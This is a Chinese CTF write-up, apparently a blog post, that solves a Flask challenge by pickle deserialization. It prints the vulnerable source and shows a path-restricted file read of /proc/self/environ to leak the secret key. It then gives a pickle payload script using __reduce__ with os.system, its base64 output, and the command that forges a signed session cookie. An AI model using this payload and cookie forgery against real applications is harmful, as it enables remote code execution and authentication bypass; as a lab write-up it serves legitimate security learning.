赞
踩
这ctf打着真累。刷题根本刷不完,知识点好多。。。也是好久没写,一直在准备hw,今儿整一个python的反序列化入门吧。呜呜呜,好多反序列化的题。。。
就先跟着提示走就可以了。直到我们找到了这个
- #!/usr/bin/python3.6
- import os
- import pickle
-
- from base64 import b64decode
- from flask import Flask, request, render_template, session
-
- app = Flask(__name__)
- app.config["SECRET_KEY"] = "*******"
-
- User = type('User', (object,), {
- 'uname': 'test',
- 'is_admin': 0,
- '__repr__': lambda o: o.uname,
- })
-
-
- @app.route('/', methods=('GET',))
- def index_handler():
- if not session.get('u'):
- u = pickle.dumps(User())
- session['u'] = u
- return "/file?file=index.js"
-
-
- @app.route('/file', methods=('GET',))
- def file_handler():
- path = request.args.get('file')
- path = os.path.join('static', path)
- if not os.path.exists(path) or os.path.isdir(path) \
- or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
- return 'disallowed'
-
- with open(path, 'r') as fp:
- content = fp.read()
- return content
-
-
- @app.route('/admin', methods=('GET',))
- def admin_handler():
- try:
- u = session.get('u')
- if isinstance(u, dict):
- u = b64decode(u.get('b'))
- u = pickle.loads(u)
- except Exception:
- return 'uhh?'
-
- if u.is_admin == 1:
- return 'welcome, admin'
- else:
- return 'who are you?'
-
-
- if __name__ == '__main__':
- app.run('0.0.0.0', port=80, debug=False)

信息很多,有密钥,有pickle模板。在/admin下 ,很明显的反序列化了。重点在于这个
__reduce__
魔术方法的返回值是tuple类型时就可以实现任意代码执行
详情可以看这:https://blog.csdn.net/weixin_45669205/article/details/116274988
我就直接做题了。也是卡了好久。这里可能存在任意文件读取。去读一下环境变量
- file?file=/proc/self/environ
-
- 密钥:glzjin22948575858jfjfjufirijidjitg3uiiuuh
我看了好多大佬wp,都是使用公网主机连shell。没有公网主机好麻烦的。所以还可以这么构造
- import os
- import pickle
- from base64 import b64encode
-
- User = type('User', (object,), {
- 'uname': 'tyskill',
- 'is_admin': 0,
- '__repr__': lambda o: o.uname,
- '__reduce__': lambda o: (os.system, ("cat /flag>/test2",))
- })
- u = pickle.dumps(User())
- print(b64encode(u).decode())
-
- #这个脚本也要在kali下运行!!!
因为我们要执行命令,所以admin是不是1不重要
运行后:gASVKwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBBjYXQgL2ZsYWc+L3Rlc3QylIWUUpQu
在kali上执行(都做到这了,工具应该都有吧)
- 这是解密后的格式:{'u':{'b':'gASVKwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBBjYXQgL2ZsYWc+L3Rlc3QylIWUUpQu'}}
-
- kali加密命令:python3 flask_session_cookie_manager3.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u':{'b':'gASVKwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBBjYXQgL2ZsYWc+L3Rlc3QylIWUUpQu'}}"
-
- session:eyJ1Ijp7ImIiOiJnQVNWS3dBQUFBQUFBQUNNQlhCdmMybDRsSXdHYzNsemRHVnRsSk9VakJCallYUWdMMlpzWVdjK0wzUmxjM1F5bElXVVVwUXUifX0.ZicaKQ.t44JF82CUrZXtW9WygwOrIqqluU
然后把这session拿去访问/admin就可以了。
这样就不需要公网主机拿shell得到flag。。。
1.那个user类的格式已经在源码里给出来了,我们可以自行添加魔术方法。
2.那个字典格式是用已知的session解密出来的,替换掉里边的b就行。(我在windows运行py是不彳亍的,全程在liunx运行,返回500报错,但是命令已经执行)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。